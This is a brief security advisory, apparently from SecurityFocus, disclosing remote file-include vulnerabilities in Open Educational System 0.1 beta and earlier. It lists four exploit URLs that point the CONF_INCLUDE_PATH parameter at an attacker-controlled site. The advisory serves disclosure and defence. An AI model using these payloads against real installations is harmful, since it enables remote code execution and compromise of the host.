source: https://www.securityfocus.com/bid/38449/info

Open Educational System is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Open Educational System 0.1 beta and prior versions are vulnerable. 

http://www.example.com/[path]/admin/modules/modules/forum/admin.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/modules/plotgraph/index.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/user_account/admin_user/mod_admuser.php?CONF_INCLUDE_PATH=attacker's site
http://www.example.com/[path]/admin/modules/user_account/ogroup/mod_group.php?CONF_INCLUDE_PATH=attacker's site